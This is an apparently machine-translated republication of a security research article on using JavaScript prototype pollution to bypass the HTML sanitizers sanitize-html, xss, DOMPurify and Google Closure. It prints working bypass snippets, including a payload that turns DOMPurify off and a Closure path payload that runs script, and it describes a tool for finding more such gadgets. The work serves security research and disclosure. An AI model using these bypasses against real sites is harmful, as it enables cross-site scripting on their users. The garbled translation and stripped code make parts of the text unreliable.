Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to use Prototype contamination method to bypass the common HTML XSS checker

2025-03-31 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >

Share

Shulou(Shulou.com)06/03 Report--

Editor to share with you how to use Prototype pollution method to bypass the common HTML XSS checker, I hope you will learn something after reading this article, let's discuss it together!

Prototype pollution

Prototype contamination is a security vulnerability, a vulnerability specific to JavaScript. It comes from the JavaScript inheritance model called Prototype-based inheritance. Unlike C++ or Java, in JavaScript, you don't need to define classes to create objects. You just need to use curly braces and define attributes, such as:

Const obj = {prop1: 111l, prop2: 222,222,}

The object has two properties: prop1 and prop2. However, these are not the only properties we can access. For example, a call to obj.toString () will return "[objectObject]" and toString (and some other default members) will come from Prototype. Each object in JavaScript has a Prototype (which can also be a null). If not specified, the Prototype of the object is Object.prototype by default.

In DevTools, we can easily examine the property list of Object.prototype:

We can also find out what object is the Prototype of a given object by checking its _ _ proto__ member or by calling Object.getPrototypeOf:

Similarly, we can use _ _ proto__ or Object.setPrototypeOf to set the Prototype of the object:

In short, when we try to access a property of an object, the JS engine first checks whether the object itself contains that property. If so, return. Otherwise, JS checks whether the Prototype has this attribute. If not, JS checks the Prototype of Prototype. And so on, until Prototype is null, which is the Prototype chain.

The fact that JS traverses the Prototype chain plays an important role, and if we can somehow pollute Object.prototype (that is, extend it with new properties), then all JS objects will have these properties.

For example, the following example:

Const user = {userid: 123}; if (user.admin) {console.log ('You are an admin');}

At first glance, it seems impossible to make the if condition hold, because the user object does not have a property named admin. However, if we pollute Object.prototype and define an attribute named admin, then console.log will execute!

Object.prototype.admin = true; const user = {userid: 123}; if (user.admin) {console.log ('You are an admin'); / / this will execute}

This proves that Prototype contamination can have a significant impact on the security of an application, because we can define some properties to change their logic. However, there are only a few known cases of abuse of this vulnerability:

1.OlivierArtreau used it to get RCE in GhostCMS.

two。 I used it to get Kibana's RCE.

3.POSIX shows that RCE through Prototype pollution is feasible in ejs, pug and handlebars.

Before continuing, I need to introduce one more topic: how did Prototype pollution occur in the first place?

The entry point for this vulnerability is usually a merge operation (that is, all properties are copied from one object to another). For example:

Const obj1 = {a: 1, b: 2}; const obj2 = {c: 3, d: 4}; merge (obj1, obj2) / / returns {a: 1, b: 2, c: 3, d: 4}

Sometimes this operation works recursively, such as:

Const obj1 = {a: {b: 1, c: 2,}; const obj2 = {a: {d: 3}}; recursiveMerge (obj1, obj2); / / returns {a: {b: 1, c: 2, d: 3}}

The basic process of recursive merging is:

1. Iterate through all the properties of obj2 and check to see if they exist in obj1

two。 If an attribute exists, a merge operation is performed on the attribute

3. If the attribute does not exist, copy it from obj2 to obj1

In the real world, if the user has any control over the merged objects, then one of the objects usually comes from the output of JSON.parse. JSON.parse is a bit special because it treats _ _ proto__ as a "regular" property, that is, it has no special meaning as a Prototype accessor. As follows:

In the example, obj1 is created using curly braces for JS, while obj2 is created using JSON.parse. Both objects define only one property, called _ _ proto__. However, accessing obj1.__proto__ returns Object.prototype (so _ _ proto__ is a special property that returns Prototype), while obj2.__proto__ contains the value given in JSON, that is, 123. This proves that the _ _ proto__ attribute is treated differently in JSON than normal JavaScript parsing.

So now imagine a recursiveMerge function that merges two objects:

Obj1= {}

Obj2=JSON.parse ('{"_ _ proto__": {"x": 1}}')

How this function works is roughly as follows:

1. Iterate through all the properties in obj2, and the only property is _ _ proto__

two。 Check whether obj1.__proto__ exists

3. Iterate through all the attributes in obj2.__proto__, and the only attribute is x.

4. Assignment: obj1.__proto__.x = obj2.__proto__.x. Because obj1.__proto__ points to Object.prototype, Prototype is contaminated.

This error has been found in many popular JS libraries, including lodash or jQuery.

How does Prototype pollution bypass HTMLsanitizer?

Now that we know what Prototype contamination is and how merge operations introduce this vulnerability, as I mentioned earlier, all public examples of exploiting Prototype contamination are focused on NodeJS for remote code execution. However, client-side JavaScript may also be affected by this vulnerability. So this raises the question: what can attackers get from Prototype contamination in browsers?

Now I'll focus on HTMLsanitizer, where a HTMLsanitizer program is actually a library whose job is to take untrusted HTML tags and remove all tags or attributes that could cause XSS attacks. Typically, they are based on the allow list; that is, they have a list of allowed tags and attributes, and all other tags and attributes are deleted.

Imagine that we have a sanitizer that only allows and tags to use. If we add the following tag to it:

HeaderThis is some HTML

It should be converted to the following form:

HeaderThis is some HTML

The HTML cleanup needs to maintain a list of allowed element attributes and elements. Basically, the library typically stores lists in one of two ways:

1. In an array

The library may have an array containing a list of allowed elements, such as:

Const ALLOWED_ELEMENTS = ["H2", "I", "b", "div"]

Then, to check whether certain elements are allowed, simply call ALLOWED_ELEMENTS.includes (element). This method can prevent Prototype contamination because we cannot expand the array. That is, we cannot pollute the length attribute, nor can we contaminate an existing index.

For example, even if we do this:

Object.prototype.length = 10; Object.prototype [0] = 'test'

Then, ALLOWED_ELEMENTS.length still returns 4, while ALLOWED_ELEMENTS [0] is still "H2".

two。 In an object

Another solution is to store objects using allowed elements, such as:

Const ALLOWED_ELEMENTS = {"H2": true, "I": true, "b": true, "div": true}

Then, to check whether certain elements are allowed, the library can check for the existence of ALLOWED_ELEMENTS [element]. This method is easily exploited by Prototype contamination, because if we pollute Prototype in the following ways:

Object.prototype.SCRIPT = true

Then ALLOWED_ELEMENTS ["SCRIPT"] returns true.

Analyzed sanitizer list

I searched npm for HTMLsanitizer and found three of the most popular sanitizer:

1.sanitize-html, downloaded about 800000 times a week, sanitize-html provides a simple HTML sanitizer with a clear API. Sanitize-html is ideal for deleting HTML fragments, such as HTML fragments created by ckeditor and other rich text editors. Deleting excess CSS is especially convenient when copying and pasting through Word. Sanitize-html allows you to specify which tags to allow, as well as the allowed attributes for each tag.

two。 There are about 770000 downloads of xss every week.

3.dompurify is downloaded about 540000 times a week. DOMPurify is a XSS antivirus software for DOM only, suitable for HTML, MathML and SVG. It is also very easy and easy to use. DOMPurify was launched in February 2014 and is now version 2.1.0. DOMPurify is written in JavaScript and works in all modern browsers (Safari (10 +), Opera (15 +), Internet Explorer (10 +), Edge, Firefox and Chrome, and almost any browser that uses Blink or WebKit). It won't fail on MSIE6 or other older browsers. Automated testing now covers 15 different browsers, and there will be more in the future.

In addition, I used google-closure-library, which is not very popular in npm, but is not often used in Google applications.

Next, I'll give a brief overview of all sanitizer and show how to bypass all sanitizer through Prototype contamination. I assume that Prototype is contaminated before the library is loaded, and I will assume that all sanitizer are used in the default configuration.

Sanitize-html

The call to sanitize-html is simple:

However, you can also use the alternate option to pass the second parameter to sanitizeHtml. However, you don't have to use it. You can choose the default option:

SanitizeHtml.defaults = {allowedTags: ['h4','h5','h6','h7', 'blockquote',' packs, 'asides,' ul', 'ol',' nl', 'li',' bundles, 'iTunes,' strong', 'em',' strike', 'abbr',' code', 'hr',' br', 'div',' table', 'thead' 'caption',' tbody', 'tr',' th', 'td',' pre', 'iframe'], disallowedTagsMode:' discard', allowedAttributes: {a: ['href',' name', 'target'], / / We don't currently allow img itself by default, but this / / would make sense if we did. You could add srcset here, / / and if you do the URL is checked for safety img: ['src']}, / / Lots of these won't come up by default because we don't allow them selfClosing: [' img', 'br',' hr', 'area',' base', 'basefont',' input', 'link',' meta'], / / URL schemes we permit allowedSchemes: ['http',' https' 'ftp',' mailto'], allowedSchemesByTag: {}, allowedSchemesAppliedToAttributes: ['href',' src', 'cite'], allowProtocolRelative: true, enforceHtmlBoundary: false}

The allowedTags property is an array, which means that we cannot use it in Prototype contamination. It is worth noting, however, that iframe is allowed.

If you continue to analyze, you will find that allowedAttributes is a mapping that provides the idea of adding the attribute iframe: ['onload'] should be able to pass through the

< iframe onload=alert(1) >

.

Internally, allowedAttributes is rewritten as the variable allowedAttributesMap, which is the logic that determines whether attributes are allowed (name is the name of the current tag and an is the name of the attribute):

/ / check allowedAttributesMap for the element and attribute and modify the value / / as necessary if there are specific values defined. Var passedAllowedAttributesMapCheck = false If (! allowedAttributesMap) | (has (allowedAttributesMap, name) & & allowedAttributesMap [name] .indexOf (a)! =-1) | (allowedAttributesMap ['*'] & & allowedAttributesMap ['*'] .indexOf (a)! = =-1) | (has (allowedAttributesGlobMap, name) & & allowedAttributesGlobMap.test (a)) | (allowedAttributesGlobMap ['*'] & allowedAttributesGlobMap ['*'] .test (a)) {passedAllowedAttributesMapCheck = true

We will focus on checking allowedAttributesMap, in short, whether the current tag or all tags are allowed to use this attribute (when using the wildcard "*"). Interestingly, sanitize-html has some kind of protection against Prototype pollution:

/ / Avoid false positives with. _ proto__, .hasOwnProperty, etc. Function has (obj, key) {return ({}) .hasOwnProperty.call (obj, key);}

HasOwnProperty checks whether an object has properties, but it does not traverse the Prototype chain. This means that all calls to has functions are not affected by Prototype contamination. However, has is not used for wildcards!

(allowedAttributesMap ['*'] & & allowedAttributesMap ['*'] .indexOf (a)! =-1)

If I pollute Prototype in the following ways, the results are as follows:

Object.prototype ['*'] = ['onload']

Then onload will be a valid attribute for any tag, as follows:

Xss

The call to the next library, xss, looks very similar to the above:

It can also choose to accept the second parameter, called options, and it is handled in the most Prototype-free mode you can find in your JS code:

Options.whiteList = options.whiteList | | DEFAULT.whiteList; options.onTag = options.onTag | | DEFAULT.onTag; options.onTagAttr = options.onTagAttr | | DEFAULT.onTagAttr; options.onIgnoreTag = options.onIgnoreTag | | DEFAULT.onIgnoreTag; options.onIgnoreTagAttr = options.onIgnoreTagAttr | | DEFAULT.onIgnoreTagAttr; options.safeAttrValue = options.safeAttrValue | | DEFAULT.safeAttrValue; options.escapeHtml = options.escapeHtml | | DEFAULT.escapeHtml

All of these attributes in options.propertyName format may be contaminated. The obvious candidate is whiteList, which follows the following format:

A: ["target", "href", "title"], abbr: ["title"], address: [], area: ["shape", "coords", "href", "alt"], article: []

So the idea is to define my own whitelist and accept img tags with onerror and src attributes:

Dompurify

Similar to previous sanitizer, the basic usage of DOMPurify is very simple:

DOMPurify also accepts the second parameter with configuration, and there is also a mode that makes it vulnerable to Prototype contamination:

/ * Set configuration parameters * / ALLOWED_TAGS = 'ALLOWED_TAGS' in cfg? AddToSet ({}, cfg.ALLOWED_TAGS): DEFAULT_ALLOWED_TAGS; ALLOWED_ATTR = 'ALLOWED_ATTR' in cfg? AddToSet ({}, cfg.ALLOWED_ATTR): DEFAULT_ALLOWED_ATTR

In JavaScript, the operator traverses the Prototype chain. Therefore, if this property exists in Object.prototype, "ALLOWED_ATTR" in cfg will return true.

By default, DOMPurify allows

Tag, so this exploit only requires the use of onerror and src to contaminate the ALLOWED_ATTR.

Interestingly, Cure53 released a new version of DOMPurify in an attempt to prevent this attack. If you think you can bypass this fix, please check the updated version of the attack.

Closure (Closure)

ClosureSanitizer has a file called attributewhitelist.js, which has the following format:

Goog.html.sanitizer.AttributeWhitelist = {'* ARIA-CHECKED': true,'* ARIA-COLCOUNT': true,'* ARIA-COLINDEX': true,'* ARIA-CONTROLS': true,'* ARIA-DESCRIBEDBY': tru...}

In this file, a list of allowed attributes is defined. It is in the "TAG_NAMEATTRIBUTE_NAME" format, where TAG_NAME can also be a wildcard ("*"). Therefore, bypassing is as simple as polluting Prototype to allow onerror and src to appear on all elements.

The following code is the whole process of bypassing:

'; const sanitizer = new goog.html.sanitizer.HtmlSanitizer (); const sanitized = sanitizer.sanitize (html); const node = goog.dom.safeHtmlToNode (sanitized); document.body.append (node); "_ ue_custom_node_=" true ">

How to find tools for Prototype pollution

As mentioned above, Prototype pollution can bypass all popular JSsanitizer. In order to find a way around, I need to analyze the source manually. Even if all the bypasses are very similar, some effort is still needed to perform the analysis. Naturally, the next step is to consider making the process more automated.

My first idea was to use regular expressions to scan all possible identifiers in the library source code, and then add this attribute to Object.prototype. If you are accessing any property, then I know that it can be bypassed by Prototype pollution.

The following code snippet is excerpted from DOMPurify:

If (cfg.ADD_ATTR) {if (ALLOWED_ATTR = DEFAULT_ALLOWED_ATTR) {ALLOWED_ATTR = clone (ALLOWED_ATTR);}

We can extract the following possible identifiers from the code snippet (assuming the identifier is\ w +):

["if", "cfg", "ADD_ATTR", "ALLOWED_ATTR", "DEFAULT_ALLOWED_ATTR", "clone"]

Now, I define all of these properties in Object.prototype, such as:

Object.defineProperty (Object.prototype, 'ALLOWED_ATTR', {get () {console.log (' Possible prototype pollution for ALLOWED_ATTR'); console.trace (); return this ['$_ ALLOWED_ATTR'];}, set (val) {this ['$_ ALLOWED_ATTR'] = val;}})

This method is effective, but has some serious disadvantages:

1. It does not apply to calculated attribute names (for example, I can't find anything useful for Closure)

two。 It confuses checking whether the property exists: ALLOWED_ATTR in obj will return true

So I came up with the second idea, and as the name suggests, I can access the source code of the library I'm trying to attack with Prototype contamination. Therefore, I can use the code tool to change all property access to my own function, which checks to see if the property can reach the Prototype.

Here is my excerpt from DOMPurify:

If (cfg.ADD_ATTR)

It translates into:

If ($_ GET_PROP (cfg, 'ADD_ATTR))

The $_ GET_PROP as follows is defined as:

Window.$_SHOULD_LOG = true; window.$_IGNORED_PROPS = new Set ([]); function $_ GET_PROP (obj, prop) {if (window.$_SHOULD_LOG & & window.$_IGNORED_PROPS.has (prop) & & obj instanceof Object & & typeof obj = = 'object' & &! (prop in obj)) {console.group (`obj [${JSON.stringify (prop)}] `); console.trace () Console.groupEnd ();} return obj [prop];}

At this point, all property access will be converted to a call to $_ GET_PROP, which will print a message in the console when the property is read from Object.prototype.

To do this, I created a tool to execute the tool I also shared on GitHub. The appearance is as follows:

Thanks to this approach, I was able to find two other cases of abuse of Prototype pollution, in this case by bypassing sanitizer. Let's take a look at what is recorded when running DOMPurify:

What's inside is what I want. Let's take a look at the line that accesses documentMode:

DOMPurify.isSupported = implementation & & typeof implementation.createHTMLDocument! = 'undefined' & & document.documentMode! = = 9

In this way, DOMPurify checks to see if the current browser is modern enough to even work with DOMPurify. If isSupported equals false, then DOMPurify will not perform any antivirus processing. This means that we can pollute Prototype and set up Object.prototype.documentMode=9 to achieve this goal. The following code snippet proves this:

Const DOMPURIFY_URL = 'https://raw.githubusercontent.com/cure53/DOMPurify/2.0.12/dist/purify.js'; (async ()) = > {Object.prototype.documentMode = 9; const js = await (await fetch (DOMPURIFY_URL)). Text (); eval (js); console.log (DOMPurify.sanitize (')); / / Logs: ", i.e. Unsanitized HTML}) ()

The disadvantage is that Prototype needs to be contaminated before the DOMPurify is loaded.

Now let's take a look at Closure. First of all, it's easy to see that Closure is trying to check whether the property is in the allow list:

Second, I noticed an interesting appearance:

Closure loads many dependent JS files, and CLOSURE_BASE_PATH defines the path. Therefore, we can pollute this property to load our own JS,sanitizer from any path without even having to be called!

The process is as follows:

< script >

Object.prototype.CLOSURE_BASE_PATH = 'data:,alert (1) / /'

< /script >

< script src= >

< script >

Goog.require ('goog.html.sanitizer.HtmlSanitizer'); goog.require (' goog.dom')

< /script >

Thanks to pollute.js, we can find more ways to pollute.

After reading this article, I believe you have a certain understanding of "how to use Prototype pollution methods to bypass common HTML XSS inspectors". If you want to know more about it, you are welcome to follow the industry information channel, thank you for reading!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Development

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report